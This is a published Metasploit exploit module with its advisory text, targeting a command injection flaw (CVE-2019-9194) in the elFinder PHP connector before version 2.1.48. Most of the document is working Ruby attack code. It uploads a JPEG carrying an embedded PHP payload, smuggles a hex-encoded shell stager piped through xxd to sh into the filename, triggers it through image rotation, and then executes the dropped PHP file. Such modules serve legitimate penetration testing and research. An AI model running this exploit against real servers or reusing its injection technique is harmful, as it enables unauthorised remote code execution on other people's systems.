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elFinder PHP Connector exiftran Command Injection

elFinder PHP Connector exiftran Command Injection
Posted Mar 12, 2019
Authored by Brendan Coles, Thomas Chauchefoin, q3rv0 | Site metasploit.com

This Metasploit module exploits a command injection vulnerability in elFinder versions prior to 2.1.48. The PHP connector component allows unauthenticated users to upload files and perform file modification operations, such as resizing and rotation of an image. The file name of uploaded files is not validated, allowing shell metacharacters. When performing image operations on JPEG files, the filename is passed to the exiftran utility without appropriate sanitization, causing shell commands in the file name to be executed, resulting in remote command injection as the web server user. The PHP connector is not enabled by default. The system must have exiftran installed and in the PATH. This module has been tested successfully on elFinder versions 2.1.47, 2.1.20, and 2.1.16 on Ubuntu.

tags | exploit, remote, web, shell, php
systems | linux, ubuntu
MD5 | 3664569f65ef2128717bd5e02f29d7b4

elFinder PHP Connector exiftran Command Injection

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper

def initialize(info = {})
super(update_info(info,
'Name' => 'elFinder PHP Connector exiftran Command Injection',
'Description' => %q{
This module exploits a command injection vulnerability in elFinder
versions prior to 2.1.48.

The PHP connector component allows unauthenticated users to upload
files and perform file modification operations, such as resizing and
rotation of an image. The file name of uploaded files is not validated,
allowing shell metacharacters.

When performing image operations on JPEG files, the filename is passed
to the `exiftran` utility without appropriate sanitization, causing
shell commands in the file name to be executed, resulting in remote
command injection as the web server user.

The PHP connector is not enabled by default.

The system must have `exiftran` installed and in `$PATH`.

This module has been tested successfully on elFinder versions 2.1.47,
2.1.20 and 2.1.16 on Ubuntu.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Thomas Chauchefoin', # Discovery
'q3rv0', # Exploit
'bcoles' # Metasploit
],
'References' =>
[
['CVE', '2019-9194'],
['EDB', '46481'],
['URL', 'https://github.com/Studio-42/elFinder/releases/tag/2.1.48'],
['URL', 'https://www.secsignal.org/news/cve-2019-9194-triggering-and-exploiting-a-1-day-vulnerability/']
],
'Arch' => ARCH_PHP,
'Platform' => 'php',
'Targets' => [['Auto', {}]],
'Privileged' => false,
'DisclosureDate' => '2019-02-26',
'DefaultTarget' => 0))

register_options [
OptString.new('TARGETURI', [true, 'The base path to elFinder', '/elFinder/'])
]
end

#
# Check if /php/connector.minimal.php exists and is executable
#
def check
uri = normalize_uri(target_uri.path, 'php', 'connector.minimal.php')
res = send_request_cgi('uri' => uri)

unless res
vprint_error 'Connection failed'
return CheckCode::Unknown
end

unless res.code == 200
vprint_status "#{uri} does not exist"
return CheckCode::Safe
end

if res.body.include? '<?php'
vprint_status 'PHP is not enabled'
return CheckCode::Safe
end

CheckCode::Detected
end

#
# Upload PHP payload
#
def upload(fname)
# Small JPEG file from:
# https://github.com/mathiasbynens/small/blob/master/jpeg.jpg
jpeg = %w[
FF D8 FF DB 00 43 00 03 02 02 02 02 02 03 02 02
02 03 03 03 03 04 06 04 04 04 04 04 08 06 06 05
06 09 08 0A 0A 09 08 09 09 0A 0C 0F 0C 0A 0B 0E
0B 09 09 0D 11 0D 0E 0F 10 10 11 10 0A 0C 12 13
12 10 13 0F 10 10 10 FF C9 00 0B 08 00 01 00 01
01 01 11 00 FF CC 00 06 00 10 10 05 FF DA 00 08
01 01 00 00 3F 00 D2 CF 20 FF D9
]
jpeg = [jpeg.join].pack('H*')
jpeg << rand_text_alphanumeric(50..100)
jpeg << "<?php #{payload.encoded} ?>"
jpeg << rand_text_alphanumeric(50..100)

data = Rex::MIME::Message.new
data.add_part('upload', nil, nil, 'form-data; name="cmd"')
data.add_part('l1_Lw', nil, nil, 'form-data; name="target"')
data.add_part(jpeg, 'image/jpeg', nil, %(form-data; name="upload[]"; filename="#{fname}"))
post_data = data.to_s

print_status("Uploading payload '#{fname}' (#{post_data.length} bytes)")

res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'php', 'connector.minimal.php'),
'ctype' => "multipart/form-data; boundary=#{data.bound}",
'data' => post_data
)

unless res
fail_with Failure::Unreachable, 'Connection failed'
end

unless res.code == 200
fail_with Failure::UnexpectedReply, 'Unexpected reply'
end

unless res.body.include?('"added"')
fail_with Failure::UnexpectedReply, "Upload failed: #{res.body}"
end

if res.body.include?('"error"') || res.body.include?('"warning"')
fail_with Failure::UnexpectedReply, "Upload failed: #{res.body}"
end

json_res = JSON.parse(res.body) rescue nil

if json_res.nil? || json_res['added'].empty?
fail_with Failure::UnexpectedReply, "Upload failed: #{res.body}"
end

json_res['added'].first['hash'] || ''
end

#
# Trigger the command injection via image rotation functionality
# Rotates image by 180 degrees to trigger `exiftran` code path
#
def trigger(hash)
print_status 'Triggering vulnerability via image rotation ...'

res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'php', 'connector.minimal.php'),
'vars_get' => {
'target' => hash,
'degree' => '180',
'mode' => 'rotate',
'cmd' => 'resize'
}
}, 5)

unless res
fail_with Failure::Unreachable, 'Connection failed'
end

if res.body.include?('"error"') || res.body.include?('"warning"')
fail_with Failure::UnexpectedReply, "Image rotate failed: #{res.body}"
end
end

#
# Delete uploaded file
#
def delete_file(hash)
print_status 'Removing uploaded file ...'

res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'php', 'connector.minimal.php'),
'vars_get' => {
'cmd' => 'rm',
'targets[]' => hash
}
}, 15)

unless res
print_status 'Connection failed'
return
end

if res.body.include?('errFileNotFound')
print_error "Could not delete uploaded file. Unexpected reply: #{res.body}"
return
end

print_good 'Deleted uploaded file'
end

#
# Execute payload
#
def execute_payload(php_fname)
path = normalize_uri(target_uri.path, 'php', php_fname)

print_status "Executing payload (#{path}) ..."

res = send_request_cgi({
'uri' => path
}, 15)

unless res
print_status 'No reply'
return
end

unless res.code == 200
fail_with Failure::UnexpectedReply, "Executing payload failed (HTTP #{res.code})"
end
end

#
# Remove uploaded file
#
def cleanup
delete_file @hash unless @hash.nil?
ensure
super
end

#
# upload && execute
#
def exploit
unless check == CheckCode::Detected
fail_with Failure::NotVulnerable, 'Target is not vulnerable'
end

fname = rand_text_alphanumeric(6..10)
php_fname = ".#{rand_text_alphanumeric(6..10)}.php"

# Max file name length is ~250 characters
# and characters such as `/` are forbidden.
# Hex encoded stager copies the uploaded file from the `files` directory
# to the working directory (`php`) and changes the extension to `.php`
# The stager is decoded with xxd when the vuln is triggered.
stager = "cp ../files/#{fname}.jpg*echo* #{php_fname}"

# Upload our payload jpg file with encoded stager in the filename
jpg_fname = "#{fname}.jpg;echo #{stager.unpack('H*').flatten.first} |xxd -r -p |sh& #.jpg"
@hash = upload jpg_fname

if @hash.to_s == ''
fail_with Failure::Unknown, 'Upload failed: Failed to retrieve file hash ID'
end

trigger @hash

register_file_for_cleanup php_fname

execute_payload php_fname
end
end
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